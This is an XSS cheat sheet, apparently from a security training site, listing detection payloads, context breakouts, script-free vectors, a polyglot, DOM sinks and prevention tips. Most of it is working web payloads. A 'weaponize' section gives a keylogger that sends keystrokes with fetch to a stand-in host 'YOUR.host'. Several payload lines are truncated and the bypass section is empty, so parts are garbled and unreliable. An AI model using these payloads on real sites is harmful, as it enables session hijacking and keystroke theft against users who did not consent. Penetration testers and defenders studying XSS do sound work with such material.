XSS (Cross-Site Scripting)

Payloads, context breakouts, DOM sinks & WAF/filter bypass

XSS Cheat Sheet

Cross-Site Scripting payloads for detection, context breakouts, filter/WAF bypass, and exploitation (cookie theft, keylogging). For authorized testing only.

1. Detect

<script>alert(1)</script>
"><script>alert(1)</script>
'><img src=x
{{7*7}}                         <!-- template injection? renders 49 -->

Use a unique marker like alert(document.domain) so you know which origin fired.

2. By context — break out, then inject

In HTML body:

<img src=x
<svg

Inside an attribute (<input value="HERE">):

"><script>alert(1)</script>
"
" autofocus

Inside a <script> block (var x = 'HERE';):

';alert(1)//
</script><script>alert(1)</script>

Inside a URL/href (<a href="HERE">):

javascript:alert(1)

3. Without <script> (most filters block it)

<img src=x
<svg/onload=alert(1)>
<body
<iframe src=#
<details open
<input autofocus
<marquee

4. Filter / WAF bypass

5. Polyglot (fires in many contexts)

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

6. DOM XSS sinks to grep for

document.write   innerHTML   outerHTML   eval()
location         location.hash          document.cookie
setTimeout       setInterval            Function()

Source → sink: location.hash → innerHTML is the classic DOM-XSS chain.

7. Weaponize (PoC only, on scope)

Steal cookies:

<img src=x

Keylogger:

<script>document.onkeypress=e=>fetch('https://YOUR.host/k?'+e.key)</script>

(If cookies are HttpOnly you can't read them — pivot to actions-as-the-user instead.)

8. Prevent it

  • Context-aware output encoding (HTML, attribute, JS, URL each need different encoding).
  • A strict Content-Security-Policy (script-src 'self', no unsafe-inline).
  • HttpOnly + SameSite cookies; framework auto-escaping (don't bypass it with dangerouslySetInnerHTML / v-html).

Test only with permission. Practice XSS hands-on on the AYSEC web challenges. See also the SQL injection and command injection cheat sheets.